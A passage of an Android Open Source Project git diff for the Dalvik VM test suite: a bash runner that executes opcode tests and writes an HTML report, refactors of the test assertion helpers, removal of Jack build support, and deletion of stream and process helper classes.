+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Set up prog to be the path of this script, including following symlinks,
+# and set up progdir to be the fully-qualified pathname of its directory.
+
+prog="$0"
+while [ -h "${prog}" ]; do
+    newProg=`/bin/ls -ld "${prog}"`
+    newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
+    if expr "x${newProg}" : 'x/' >/dev/null; then
+        prog="${newProg}"
+    else
+        progdir=`dirname "${prog}"`
+        prog="${progdir}/${newProg}"
+    fi
+done
+oldwd=`pwd`
+progdir=`dirname "${prog}"`
+cd "${progdir}"
+progdir=`pwd`
+prog="${progdir}"/`basename "${prog}"`
+cd "${oldwd}"
+
+javaOpts=""
+while expr "x$1" : 'x-J' >/dev/null; do
+    opt=`expr "$1" : '-J\(.*\)'`
+    javaOpts="${javaOpts} -${opt}"
+    shift
+done
+
+
+#######################################################################
+# Original content of invocation script follows. Uses values cleverly
+# deduced by the above code.
+#######################################################################
+
+selection=$1
+interpreter="fast"
+if [ "$selection" = "--portable" ]; then
+    selection=$2;
+    interpreter="portable"
+fi
+
+dalviktest=$ANDROID_BUILD_TOP/out/host/common/obj/JAVA_LIBRARIES/vm-tests-tf_intermediates
+dalviktestdir=$dalviktest/tests
+dexcore=$dalviktest/tests/dot/junit/dexcore.jar
+scriptdata=$dalviktestdir/data/scriptdata
+report=$dalviktest/report.html
+curdate=`date`
+datadir=/tmp/${USER}
+export ANDROID_PRINTF_LOG=tag
+export ANDROID_LOG_TAGS='*:s' # was: jdwp:i dalvikvm:i dalvikvmi:i'
+export ANDROID_DATA=$datadir
+export ANDROID_ROOT=$ANDROID_HOST_OUT
+# export LD_LIBRARY_PATH=$base/system/lib
+# export DYLD_LIBRARY_PATH=$base/system/lib
+debug_opts="-Xcheck:jni -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n"
+vmtpath=$ANDROID_HOST_OUT/../common/obj/JAVA_LIBRARIES/vm-tests-tf_intermediates/tests
+
+echo "--------------------------------------------------"
+echo "Dalvik VM Test Suite"
+echo "Version 1.0"
+echo "Copyright (c) 2008 The Android Open Source Project"
+echo ""
+
+if [ "$selection" = "--help" ]; then
+    echo "Usage: vm-tests [--help|--portable] [<mnemonic>]"
+    echo ""
+    echo "    --help      prints this help message"
+    echo ""
+    echo "    <mnemonic>  specifies the instruction to test;"
+    echo "                default is to run all tests"
+    echo ""
+    exit 1;
+fi
+
+rm -rf --preserve-root $datadir/dalvik-cache
+mkdir -p $datadir
+mkdir -p $datadir/dalvik-cache
+
+echo ""
+
+pre_report="<html><head><style>
+table tr.ok { background:#a0ffa0; }
+table tr.nok { background:#ffa0a0; }
+table tr.wok { background:#ffffa0; }
+table tr.lok { background:#aaaaff; }
+</style></head>
+<body>
+<h1>Dalvik VM test suite results</h1>
+Generated $curdate (using the emulator)
+<p>
+<table width='100%'>
+<tr><td>Status</td><td>Target</td><td>Category</td><td>Details</td></tr>"
+post_report="</body></html>"
+
+rm -f $report
+echo $pre_report > $report
+
+# ----------- running each opcode test ------------
+
+export jpassedcnt=0
+export jfailedcnt=0
+export jvfefailedcnt=0
+export jwarningcnt=0
+export jallcnt=0
+export jcolumns=0
+
+function classnameToJar()
+{
+    echo $1 | sed -e 's#\.#/#g;s#$#.jar#'
+}
+
+while read -u 3 myline;
+do
+    # dot.junit.opcodes.add_double.Main_testB1;dot.junit.opcodes.add_double.d.T_add_double_1 ;opcode add_double;test B #1 (border edge case)
+    # ->
+    # mainclass: dot.junit.opcodes.add_double.Main_testB1
+    # testcasedir: opcodes/add_double
+    # testname: testB1 ->
+    # dir dot/junit/opcodes/add_double/testB1
+
+    # e.g dot.junit.opcodes.add_double.Main_testB1
+    mainclass=`echo $myline | cut -d";" -f1`
+    # e.g dot.junit.opcodes.add_double.d.T_add_double_1, space sep. >=1 entries
+    deps=`echo $myline | cut -d";" -f2`
+
+    jtitle=`echo $myline | cut -d";" -f3`
+    jcomment=`echo $myline | cut -d";" -f4`
+    details=`echo $myline | cut -d";" -f5`
+
+    if [ "$selection" == "" ] || [ "$jtitle" == "$selection" ]; then
+
+        (( jallcnt += 1 ))
+
+        cd $dalviktestdir
+        rm -f $datadir/dalvikout
+        # write dalvik output to file
+        echo -n "mk_b:" > $datadir/dalvikout
+
+        classpath="${vmtpath}/dot/junit/dexcore.jar:${vmtpath}/mains.jar"
+        deps=${deps}" "${mainclass}
+        for dep in ${deps}; do
+            depJar=`classnameToJar ${dep}`
+            classpath=${classpath}:${vmtpath}/${depJar}
+        done
+
+        art -Djava.io.tmpdir=/tmp/${USER} \
+            -classpath $classpath $mainclass >> $datadir/dalvikout 2>&1 && \
+             echo -n dvmpassed: >> $datadir/dalvikout 2>&1
+
+        echo -n "mk_s:" >> $datadir/dalvikout
+        # Verify tmpout only contains mkdxc_start;mkdxc_stop -> no system.out/err
+        # because of exception. If ok -> green report line else red report with info
+        # between mkdxc_start and stop
+        vmresult=`cat $datadir/dalvikout`
+
+        if [[ ("$vmresult" == "mk_b:mk_s:") || ("$vmresult" == "mk_b:dvmpassed:mk_s:") ]]; then
+            (( jpassedcnt += 1 ))
+            echo -n "<tr class=\"ok\"><td>Success</td><td>$jtitle</td>" >> $report
+            echo "<td>$jcomment</td><td>$details</td></tr>" >> $report
+            echo -n "."
+        else
+            vmres=`cat $datadir/dalvikout | sed -e 's/mk_b://;s/mk_s://'`
+            vmres="$details<br><pre>$vmres</pre>"
+
+            stacktraces=`echo $vmresult | grep "java\.lang\." | grep -c "at dot\.junit\."`
+            if [[ $stacktraces > 0 ]]; then
+                jtype=`echo "$mainclass" | sed -e 's/.*_test\([^0-9]*\)[0-9].*/\1/' `
+                if [ "$jtype" == "VFE" ]; then
+                    (( jvfefailedcnt += 1 ))
+                    echo -n "V"
+                else
+                    (( jfailedcnt += 1 ))
+                    echo -n "F"
+                fi
+
+                echo "<tr class=\"nok\"><td>Failure</td><td>$jtitle</td><td>" >> $report
+                echo "$jcomment</td><td>$vmres</td></tr>" >> $report
+            else
+                (( jwarningcnt += 1 ))
+                echo "<tr class=\"wok\"><td>Failure</td><td>$jtitle</td><td>" >> $report
+                echo "$jcomment</td><td>(No stacktrace, but errors on console)" >> $report
+                echo "<br>$vmres</td></tr>" >> $report
+                echo -n "C"
+            fi
+        fi
+
+        (( jcolumns += 1 ))
+        if [ ${jcolumns} -eq 40 ]; then
+            echo ""
+            (( jcolumns = 0 ))
+        fi
+
+    fi
+# Use fd nr 3 to avoid subshelling via cat since this looses all
+# variables(and thus also the counters we are interested in).
+done 3<$scriptdata
+
+echo "</table>" >> $report
+let jallcalccnt=$jpassedcnt+$jfailedcnt+$jvfefailedcnt+$jwarningcnt
+if [ $jallcalccnt -ne $jallcnt ]; then
+    echo "<br>error: green & red != total , $jallcalccnt -ne $jallcnt" >> $report
+    exit 1;
+fi
+
+echo $post_report >> $report
+
+echo "<br>Tests run: ${jallcnt}" >> $report
+echo "<br>Functional failures: ${jfailedcnt}" >> $report
+echo "<br>Verifier failures: ${jvfefailedcnt}" >> $report
+echo "<br>Console errors: ${jwarningcnt}" >> $report
+
+echo $post_report >> $report
+
+if [[ jcolumns -ne 0 ]]; then
+    echo ""
+fi
+
+echo ""
+
+if [[ jallcnt -eq jpassedcnt ]]; then
+    echo "OK (${jpassedcnt} tests)"
+else
+    echo "FAILURES!!!"
+    echo ""
+    echo "Tests run          : ${jallcnt}"
+    echo "Functional failures: ${jfailedcnt}"
+    echo "Verifier failures  : ${jvfefailedcnt}"
+    echo "Console errors     : ${jwarningcnt}"
+fi
+
+echo ""
+echo "Please see complete report in ${report}"
+echo "--------------------------------------------------"
diff --git a/tools/vm-tests-tf/src/dot/junit/AssertionFailedException.java b/tools/vm-tests-tf/src/dot/junit/AssertionFailedException.java
new file mode 100644
index 0000000..44b686d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/AssertionFailedException.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package dot.junit;
+
+class AssertionFailedException extends RuntimeException {
+
+    public AssertionFailedException(String message, Throwable cause) {
+        super(message, cause);
+    }
+
+    public AssertionFailedException(String message) {
+        super(message);
+    }
+}
\ No newline at end of file
diff --git a/tools/vm-tests-tf/src/dot/junit/DxAbstractMain.java b/tools/vm-tests-tf/src/dot/junit/DxAbstractMain.java
index dac6dcf..6223507 100644
--- a/tools/vm-tests-tf/src/dot/junit/DxAbstractMain.java
+++ b/tools/vm-tests-tf/src/dot/junit/DxAbstractMain.java
@@ -25,20 +25,19 @@
     private static void checkError(Class<?> expectedErrorClass, Throwable thrown,
                                    boolean in_invocation_exc) {
         if (expectedErrorClass != null && thrown == null) {
-            fail("Expected error of type " + expectedErrorClass);
+            fail("Expected error of type " + expectedErrorClass, null);
         } else if (expectedErrorClass == null && thrown != null) {
-            fail("Unexpected error " + thrown);
+            fail("Unexpected error " + thrown, thrown);
         } else if (expectedErrorClass != null && thrown != null) {
             if (in_invocation_exc) {
                 if (!(thrown instanceof java.lang.reflect.InvocationTargetException)) {
-                    fail("Expected invocation target exception, but got " + thrown);
+                    fail("Expected invocation target exception, but got " + thrown, thrown);
                 }
                 thrown = thrown.getCause();
             }
             if (!expectedErrorClass.equals(thrown.getClass())) {
-                thrown.printStackTrace(System.err);
                 fail("Expected error of type " + expectedErrorClass + ", but got " +
-                     thrown.getClass());
+                         thrown.getClass(), thrown);
             }
         }
     }
@@ -47,19 +46,19 @@
      * Try to load the class with the given name, and check for the expected error.
      */
     public static Class<?> load(String className, Class<?> expectedErrorClass) {
+        Class<?> c;
         try {
-            Class<?> c = Class.forName(className);
-            checkError(expectedErrorClass, null, false);
-            return c;
+            c = Class.forName(className);
         } catch (Throwable t) {
             if (expectedErrorClass != null) {
                 checkError(expectedErrorClass, t, false);
             } else {
-                t.printStackTrace(System.err);
-                fail("Could not load class " + className + ": " + t);
+                fail("Could not load class " + className, t);
             }
             return null;
         }
+        checkError(expectedErrorClass, null, false);
+        return c;
     }
 
     /**
@@ -80,7 +79,7 @@
             }
         }
         if (method == null) {
-            fail("Could not find method 'run'");
+            fail("Could not find method 'run'", null);
         }
 
         Object receiver = null;
@@ -88,16 +87,17 @@
             try {
                 receiver = c.newInstance();
             } catch (Exception exc) {
-                fail("Could not instantiate " + className + ": " + exc.getMessage());
+                fail("Could not instantiate " + className, exc);
             }
         }
 
         try {
             method.invoke(receiver, args);
-            checkError(expectedErrorClass, null, false);
         } catch (Throwable t) {
             checkError(expectedErrorClass, t, wrapped);
+            return;
         }
+        checkError(expectedErrorClass, null, false);
     }
 
     public static void loadAndRun(String className, Class<?> expectedErrorClass) {
@@ -109,19 +109,26 @@
     }
 
     static public void assertEquals(int expected, int actual) {
-        if (expected != actual) throw new RuntimeException("AssertionFailedError: not equals. Expected " + expected + " actual " + actual);
+        if (expected != actual)
+            throw new AssertionFailedException(
+                    "not equals. Expected " + expected + " actual " + actual);
     }
 
     static public void assertEquals(String message, int expected, int actual) {
-        if (expected != actual) throw new RuntimeException("AssertionFailedError: not equals: " + message + " Expected " + expected + " actual " + actual);
+        if (expected != actual)
+            throw new AssertionFailedException(
+                    "not equals: " + message + " Expected " + expected + " actual " + actual);
     }
 
     static public void assertEquals(long expected, long actual) {
-        if (expected != actual) throw new RuntimeException("AssertionFailedError: not equals. Expected " + expected + " actual " + actual);
+        if (expected != actual)
+            throw new AssertionFailedException(
+                    "not equals. Expected " + expected + " actual " + actual);
     }
 
     static public void assertEquals(double expected, double actual, double delta) {
-        if(!(Math.abs(expected-actual) <= delta)) throw new RuntimeException("AssertionFailedError: not within delta");
+        if (!(Math.abs(expected - actual) <= delta))
+            throw new AssertionFailedException("not within delta");
     }
 
     static public void assertEquals(Object expected, Object actual) {
@@ -129,26 +136,34 @@
             return;
         if (expected != null && expected.equals(actual))
             return;
-        throw new RuntimeException("AssertionFailedError: not the same");
+        throw new AssertionFailedException("not the same: " + expected + " vs " + actual);
     }
 
     static public void assertTrue(boolean condition) {
-        if (!condition) throw new RuntimeException("AssertionFailedError: condition was false");
+        if (!condition)
+            throw new AssertionFailedException("condition was false");
     }
 
     static public void assertFalse(boolean condition) {
-        if (condition) throw new RuntimeException("AssertionFailedError: condition was true");
+        if (condition)
+            throw new AssertionFailedException("condition was true");
     }
 
     static public void assertNotNull(Object object) {
-        if (object == null) throw new RuntimeException("AssertionFailedError: object was null");
+        if (object == null)
+            throw new AssertionFailedException("object was null");
     }
 
     static public void assertNull(Object object) {
-        if (object != null) throw new RuntimeException("AssertionFailedError: object was not null");
+        if (object != null)
+            throw new AssertionFailedException("object was not null");
     }
 
     static public void fail(String message) {
-        throw new RuntimeException("AssertionFailedError msg:"+message);
+        fail(message, null);
+    }
+
+    static public void fail(String message, Throwable cause) {
+        throw new AssertionFailedException(message, cause);
     }
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java
index 7baf67d..df1e017 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java
@@ -47,10 +47,11 @@
         T_opc_throw_2 t = new T_opc_throw_2();
         try {
             t.run();
-            fail("must throw a Throwable");
         } catch (Throwable e) {
             // expected
+            return;
         }
+        fail("must throw a Throwable");
     }
 
     /**
@@ -60,10 +61,11 @@
         T_opc_throw_8 t = new T_opc_throw_8();
         try {
             t.run();
-            fail("must throw a Error");
         } catch (Error e) {
             // expected
+            return;
         }
+        fail("must throw a Error");
     }
 
     /**
diff --git a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
index 08b1e5f..49a5a29 100644
--- a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
+++ b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
@@ -34,6 +34,7 @@
 import java.io.IOException;
 import java.io.OutputStreamWriter;
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.Collections;
 import java.util.Comparator;
 import java.util.HashSet;
@@ -81,7 +82,6 @@
 
     private int testClassCnt = 0;
     private int testMethodsCnt = 0;
-    private boolean useJack;
 
     /*
      * using a linked hashmap to keep the insertion order for iterators.
@@ -111,7 +111,7 @@
         }
 
         long start = System.currentTimeMillis();
-        BuildDalvikSuite cat = new BuildDalvikSuite(false);
+        BuildDalvikSuite cat = new BuildDalvikSuite();
         cat.compose();
         long end = System.currentTimeMillis();
 
@@ -148,10 +148,6 @@
                            "[restrict-to-opcode]");
     }
 
-    public BuildDalvikSuite(boolean useJack) {
-      this.useJack = useJack;
-    }
-
     public void compose() throws IOException {
         System.out.println("Collecting all junit tests...");
         new TestRunner() {
@@ -261,7 +257,7 @@
     }
 
     private void addCTSHostMethod(String pName, String method, MethodData md,
-            Set<String> dependentTestClassNames) {
+            Collection<String> dependentTestClassNames) {
         curJunitFileData += "public void " + method + "() throws Exception {\n";
         final String targetCoreJarPath = String.format("%s/dot/junit/dexcore.jar",
                 TARGET_JAR_ROOT_PATH);
@@ -295,12 +291,7 @@
             HOSTJUNIT_CLASSES_OUTPUT_FOLDER, CLASS_PATH);
 
         String mainsJar = OUTPUT_FOLDER + File.separator + TARGET_MAIN_FILE;
-        if (useJack) {
-            srcBuildStep = new JackBuildStep(mainsJar,
-            CLASS_PATH);
-        } else {
-            srcBuildStep = new JavacBuildStep(CLASSES_OUTPUT_FOLDER, CLASS_PATH);
-        }
+        srcBuildStep = new JavacBuildStep(CLASSES_OUTPUT_FOLDER, CLASS_PATH);
 
         for (Entry<String, List<String>> entry : map.entrySet()) {
 
@@ -344,7 +335,7 @@
                 MethodData md = parseTestMethod(pName, classOnlyName, method);
                 String methodContent = md.methodBody;
 
-                Set<String> dependentTestClassNames = parseTestClassName(pName,
+                List<String> dependentTestClassNames = parseTestClassName(pName,
                         classOnlyName, methodContent);
 
                 addCTSHostMethod(pName, method, md, dependentTestClassNames);
@@ -454,14 +445,12 @@
 
         }
 
-        if (!useJack) {
-          DxBuildStep dexBuildStep = new DxBuildStep(
-              new BuildStep.BuildFile(new File(CLASSES_OUTPUT_FOLDER)),
-              new BuildStep.BuildFile(new File(mainsJar)),
-              false);
+        DxBuildStep dexBuildStep = new DxBuildStep(
+            new BuildStep.BuildFile(new File(CLASSES_OUTPUT_FOLDER)),
+            new BuildStep.BuildFile(new File(mainsJar)),
+            false);
 
-          targets.add(dexBuildStep);
-        }
+        targets.add(dexBuildStep);
 
         // write latest HOSTJUNIT generated file.
         flushHostJunitFile();
@@ -490,7 +479,7 @@
     }
 
     private void generateBuildStepFor(String pName, String method,
-            Set<String> dependentTestClassNames, Set<BuildStep> targets) {
+            Collection<String> dependentTestClassNames, Set<BuildStep> targets) {
 
 
         for (String dependentTestClassName : dependentTestClassNames) {
@@ -545,36 +534,16 @@
         File srcFile = new File(sourceFolder, fileName + ".java");
         if (srcFile.exists()) {
             BuildStep dexBuildStep;
-            if (useJack) {
-                JackBuildStep jackBuildStep = new JackBuildStep(
-                    OUTPUT_FOLDER + File.separator + fileName + ".jar",
-                        CLASS_PATH);
-                jackBuildStep.addSourceFile(srcFile.getAbsolutePath());
-                dexBuildStep = jackBuildStep;
-            } else {
-              dexBuildStep = generateDexBuildStep(
-                COMPILED_CLASSES_FOLDER, fileName, null);
-            }
+            dexBuildStep = generateDexBuildStep(
+              COMPILED_CLASSES_FOLDER, fileName);
             targets.add(dexBuildStep);
             return;
         }
 
         try {
             if (Class.forName(dependentTestClassName) != null) {
-                JillBuildStep jillBuildStep = null;
-                if (useJack) {
-                    BuildStep.BuildFile classFile = new BuildStep.BuildFile(
-                        COMPILED_CLASSES_FOLDER, fileName + ".class");
-
-                    BuildStep.BuildFile jackFile = new BuildStep.BuildFile(
-                        COMPILED_CLASSES_FOLDER,
-                        fileName + ".jack");
-
-                    jillBuildStep = new JillBuildStep(classFile,
-                        jackFile);
-                }
                 BuildStep dexBuildStep = generateDexBuildStep(
-                    COMPILED_CLASSES_FOLDER, fileName, jillBuildStep);
+                    COMPILED_CLASSES_FOLDER, fileName);
                 targets.add(dexBuildStep);
                 return;
             }
@@ -587,51 +556,27 @@
     }
 
     private BuildStep generateDexBuildStep(String classFileFolder,
-            String classFileName, BuildStep dependency) {
-        if (!useJack) {
-            BuildStep.BuildFile classFile = new BuildStep.BuildFile(
-                    classFileFolder, classFileName + ".class");
+            String classFileName) {
+        BuildStep.BuildFile classFile = new BuildStep.BuildFile(
+                classFileFolder, classFileName + ".class");
 
-            BuildStep.BuildFile tmpJarFile = new BuildStep.BuildFile(
-                    OUTPUT_FOLDER,
-                    classFileName + "_tmp.jar");
+        BuildStep.BuildFile tmpJarFile = new BuildStep.BuildFile(
+                OUTPUT_FOLDER,
+                classFileName + "_tmp.jar");
 
-            JarBuildStep jarBuildStep = new JarBuildStep(classFile,
-                    classFileName + ".class", tmpJarFile, false);
+        JarBuildStep jarBuildStep = new JarBuildStep(classFile,
+                classFileName + ".class", tmpJarFile, false);
 
-            if (dependency != null) {
-                jarBuildStep.addChild(dependency);
-            }
+        BuildStep.BuildFile outputFile = new BuildStep.BuildFile(
+                OUTPUT_FOLDER,
+                classFileName + ".jar");
 
-            BuildStep.BuildFile outputFile = new BuildStep.BuildFile(
-                    OUTPUT_FOLDER,
-                    classFileName + ".jar");
+        DxBuildStep dexBuildStep = new DxBuildStep(tmpJarFile,
+                outputFile,
+                true);
 
-            DxBuildStep dexBuildStep = new DxBuildStep(tmpJarFile,
-                    outputFile,
-                    true);
-
-            dexBuildStep.addChild(jarBuildStep);
-            return dexBuildStep;
-        } else {
-          BuildStep.BuildFile jackFile = new BuildStep.BuildFile(
-              classFileFolder, classFileName + ".jack");
-
-          BuildStep.BuildFile outputFile = new BuildStep.BuildFile(
-                  OUTPUT_FOLDER,
-                  classFileName + ".jar");
-
-          JackDexBuildStep dexBuildStep = new JackDexBuildStep(jackFile,
-                  outputFile,
-                  true);
-
-          if (dependency != null) {
-              dexBuildStep.addChild(dependency);
-          }
-          return dexBuildStep;
-
-        }
-
+        dexBuildStep.addChild(jarBuildStep);
+        return dexBuildStep;
     }
 
     /**
@@ -640,9 +585,9 @@
      * @param methodSource
      * @return testclass names
      */
-    private Set<String> parseTestClassName(String pName, String classOnlyName,
+    private List<String> parseTestClassName(String pName, String classOnlyName,
             String methodSource) {
-        Set<String> entries = new HashSet<String>();
+        List<String> entries = new ArrayList<String>(2);
         String opcodeName = classOnlyName.substring(5);
 
         Scanner scanner = new Scanner(methodSource);
@@ -673,7 +618,7 @@
         Matcher m = p.matcher(methodSource);
         while (m.find()) {
             String res = m.group(1);
-            entries.add(res.trim());
+            entries.add(0, res.trim());
         }
 
         // search for " load(\"...\" " and add as dependency
diff --git a/tools/vm-tests-tf/src/util/build/BytesStreamSucker.java b/tools/vm-tests-tf/src/util/build/BytesStreamSucker.java
deleted file mode 100644
index f243c17..0000000
--- a/tools/vm-tests-tf/src/util/build/BytesStreamSucker.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-import javax.annotation.Nonnull;
-
-/**
- * Class that continuously read an {@link InputStream} and optionally could write the input in a
- * {@link OutputStream}.
- */
-public class BytesStreamSucker {
-
-  private static final int BUFFER_SIZE = 4096;
-
-  @Nonnull
-  private final byte[] buffer = new byte[BUFFER_SIZE];
-
-  @Nonnull
-  private final InputStream is;
-
-  @Nonnull
-  private final OutputStream os;
-
-  private final boolean toBeClose;
-
-  public BytesStreamSucker(
-      @Nonnull InputStream is, @Nonnull OutputStream os, boolean toBeClose) {
-    this.is = is;
-    this.os = os;
-    this.toBeClose = toBeClose;
-  }
-
-  public BytesStreamSucker(@Nonnull InputStream is, @Nonnull OutputStream os) {
-    this(is, os, false);
-  }
-
-  public void suck() throws IOException {
-    try {
-      int bytesRead;
-      while ((bytesRead = is.read(buffer)) >= 0) {
-        os.write(buffer, 0, bytesRead);
-        os.flush();
-      }
-    } finally {
-      if (toBeClose) {
-        os.close();
-      }
-    }
-  }
-}
\ No newline at end of file
diff --git a/tools/vm-tests-tf/src/util/build/CharactersStreamSucker.java b/tools/vm-tests-tf/src/util/build/CharactersStreamSucker.java
deleted file mode 100644
index ce4dfb1..0000000
--- a/tools/vm-tests-tf/src/util/build/CharactersStreamSucker.java
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.PrintStream;
-
-import javax.annotation.Nonnull;
-
-/**
- * Class that continuously read an {@link InputStream} and optionally could print the input in a
- * {@link PrintStream}.
- */
-public class CharactersStreamSucker {
-
-  @Nonnull
-  private final BufferedReader ir;
-
-  @Nonnull
-  private final PrintStream os;
-
-  private final boolean toBeClose;
-
-  public CharactersStreamSucker(
-      @Nonnull InputStream is, @Nonnull PrintStream os, boolean toBeClose) {
-    this.ir = new BufferedReader(new InputStreamReader(is));
-    this.os = os;
-    this.toBeClose = toBeClose;
-  }
-
-  public CharactersStreamSucker(@Nonnull InputStream is, @Nonnull PrintStream os) {
-    this(is, os, false);
-  }
-
-  public void suck() throws IOException {
-    String line;
-
-    try {
-      while ((line = ir.readLine()) != null) {
-        os.println(line);
-      }
-    } finally {
-      if (toBeClose) {
-        os.close();
-      }
-    }
-  }
-}
\ No newline at end of file
diff --git a/tools/vm-tests-tf/src/util/build/ExecuteFile.java b/tools/vm-tests-tf/src/util/build/ExecuteFile.java
deleted file mode 100644
index 128e477..0000000
--- a/tools/vm-tests-tf/src/util/build/ExecuteFile.java
+++ /dev/null
@@ -1,275 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.io.PrintStream;
-import java.io.StreamTokenizer;
-import java.io.StringReader;
-import java.util.ArrayList;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import javax.annotation.CheckForNull;
-import javax.annotation.Nonnull;
-
-/**
- * Class to handle the execution of an external process
- */
-public class ExecuteFile {
-  @Nonnull
-  private final String[] cmdLine;
-
-  @CheckForNull
-  private File workDir;
-
-  @CheckForNull
-  private InputStream inStream;
-  private boolean inToBeClose;
-
-  @CheckForNull
-  private OutputStream outStream;
-  private boolean outToBeClose;
-
-  @CheckForNull
-  private OutputStream errStream;
-  private boolean errToBeClose;
-  private boolean verbose;
-
-  @Nonnull
-  private final Logger logger = Logger.getLogger(this.getClass().getName());
-
-  public void setErr(@Nonnull File file) throws FileNotFoundException {
-    errStream = new FileOutputStream(file);
-    errToBeClose = true;
-  }
-
-  public void setOut(@Nonnull File file) throws FileNotFoundException {
-    outStream = new FileOutputStream(file);
-    outToBeClose = true;
-  }
-
-  public void setIn(@Nonnull File file) throws FileNotFoundException {
-    inStream = new FileInputStream(file);
-    inToBeClose = true;
-  }
-
-  public void setErr(@Nonnull OutputStream stream) {
-    errStream = stream;
-  }
-
-  public void setOut(@Nonnull OutputStream stream) {
-    outStream = stream;
-  }
-
-  public void setIn(@Nonnull InputStream stream) {
-    inStream = stream;
-  }
-
-  public void setWorkingDir(@Nonnull File dir, boolean create) throws IOException {
-    if (!dir.isDirectory()) {
-      if (create && !dir.exists()) {
-        if (!dir.mkdirs()) {
-          throw new IOException("Directory creation failed");
-        }
-      } else {
-        throw new FileNotFoundException(dir.getPath() + " is not a directory");
-      }
-    }
-
-    workDir = dir;
-  }
-
-  public void setVerbose(boolean verbose) {
-    this.verbose = verbose;
-  }
-
-  public ExecuteFile(@Nonnull File exec, @Nonnull String[] args) {
-    cmdLine = new String[args.length + 1];
-    System.arraycopy(args, 0, cmdLine, 1, args.length);
-
-    cmdLine[0] = exec.getAbsolutePath();
-  }
-
-  public ExecuteFile(@Nonnull String exec, @Nonnull String[] args) {
-    cmdLine = new String[args.length + 1];
-    System.arraycopy(args, 0, cmdLine, 1, args.length);
-
-    cmdLine[0] = exec;
-  }
-
-  public ExecuteFile(@Nonnull File exec) {
-    cmdLine = new String[1];
-    cmdLine[0] = exec.getAbsolutePath();
-  }
-
-  public ExecuteFile(@Nonnull String[] cmdLine) {
-    this.cmdLine = cmdLine.clone();
-  }
-
-  public ExecuteFile(@Nonnull String cmdLine) throws IOException {
-    StringReader reader = new StringReader(cmdLine);
-    StreamTokenizer tokenizer = new StreamTokenizer(reader);
-    tokenizer.resetSyntax();
-    // Only standard spaces are recognized as whitespace chars
-    tokenizer.whitespaceChars(' ', ' ');
-    // Matches alphanumerical and common special symbols like '(' and ')'
-    tokenizer.wordChars('!', 'z');
-    // Quote chars will be ignored when parsing strings
-    tokenizer.quoteChar('\'');
-    tokenizer.quoteChar('\"');
-    ArrayList<String> tokens = new ArrayList<String>();
-    while (tokenizer.nextToken() != StreamTokenizer.TT_EOF) {
-      String token = tokenizer.sval;
-      if (token != null) {
-        tokens.add(token);
-      }
-    }
-    this.cmdLine = tokens.toArray(new String[0]);
-  }
-
-  public boolean run() {
-    int ret;
-    Process proc = null;
-    Thread suckOut = null;
-    Thread suckErr = null;
-    Thread suckIn = null;
-
-    try {
-      StringBuilder cmdLineBuilder = new StringBuilder();
-      for (String arg : cmdLine) {
-        cmdLineBuilder.append(arg).append(' ');
-      }
-      if (verbose) {
-        PrintStream printStream;
-        if (outStream instanceof PrintStream) {
-          printStream = (PrintStream) outStream;
-        } else {
-          printStream = System.out;
-        }
-
-        if (printStream != null) {
-          printStream.println(cmdLineBuilder);
-        }
